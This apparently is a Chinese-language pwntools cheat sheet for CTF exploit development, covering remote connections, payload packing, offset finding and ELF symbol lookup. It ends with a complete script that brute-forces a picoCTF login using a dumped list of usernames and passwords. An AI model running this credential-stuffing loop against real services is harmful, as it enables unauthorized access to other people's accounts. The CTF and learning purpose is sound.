What is pwntools?
Pwntools(pwn-tools) 是一個用 Python 撰寫的資安工具框架,主要用於漏洞利用開發與 CTF。 主要用途包括:
- 連線到遠端服務(remote)
- 執行本地漏洞程式(process)
- 傳送與接收資料(send / recv)
- 建構 exploit payload(如 buffer overflow)
- 分析 ELF 檔案與 libc
- 自動化攻擊流程(bruteforce、exploit)
連線方式
# 本地執行
p = process('./binary')
# 遠端連線
p = remote('host', port)
# 使用 GDB 附加
p = gdb.debug('./binary', 'break main')
# SSH
s = ssh(host='example.com', user='user', password='pass')
p = s.process('./binary')
發送 / 接收資料
# 發送
p.send(b'data') # 發送原始資料
p.sendline(b'data') # 發送 + 換行 \n
p.sendafter(b':', b'data') # 收到 ':' 後發送
p.sendlineafter(b':', b'data') # 收到 ':' 後發送 + 換行
# 接收
p.recv(n) # 接收 n bytes
p.recvline() # 接收一行
p.recvall() # 接收全部
p.recvuntil(b':') # 接收直到特定字串
p.clean() # 清空緩衝區
p.interactive() # 進入互動模式(取得shell開啟互動)
資料打包 / 解包
# 打包(整數 → bytes)
p32(0xdeadbeef) # 32-bit little-endian
p64(0xdeadbeef) # 64-bit little-endian
p16(0x1234) # 16-bit
# 解包(bytes → 整數)
u32(b'\xef\xbe\xad\xde')
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')
# 大端序
p32(0xdeadbeef, endian='big')
字串處理
# 產生循環字串(用於找 offset)
cyclic(100) # 產生 100 bytes 的循環字串
cyclic_find(0x6161616c) # 找出 offset
# 十六進位轉換
hex(0xdeadbeef)
unhex('deadbeef')
# 編碼
b64e('hello') # Base64 encode
b64d('aGVsbG8=') # Base64 decode
ELF 分析
elf = ELF('./binary')
# 取得函數/符號位址
elf.symbols['main']
elf.functions['puts'].address
# 取得 GOT / PLT
elf.got['puts']
elf.plt['puts']
# 基址(PIE 時用)
elf.address = 0x400000
# 搜尋字串
next(elf.search(b'/bin/sh'))
範例
from pwn import *
context.log_level = 'debug'
#將檔案中帳號密碼分開存入串列
user=[]
passwd=[]
with open("creds-dump.txt","r",encoding="utf-8") as f:
content=f.readlines()
for line in content:
parts=line.strip().split(";")
user.append(parts[0])
passwd.append(parts[1])
print("Total credentials: "+str(len(user)))
print("===========start==================")
#利用pwn模組自動嘗試帳密登入
for i in range(0,len(user)):
print(f'=========={i}==================')
print(user[i])
print(passwd[i])
r = remote("crystal-peak.picoctf.net", 64817)
r.recvlines(6)
r.recvuntil(b"Username: ")
r.sendline((user[i]).encode())
r.recvline()
r.recvuntil(b"Password: ")
r.sendline((passwd[i]).encode())
r.recvlines(2)
result=r.recvline().decode().strip()
if result !='Invalid username or password':
print('username: '+user[i])
print('password: '+passwd[i])
r.interactive()
break
r.close()


說些什麼吧!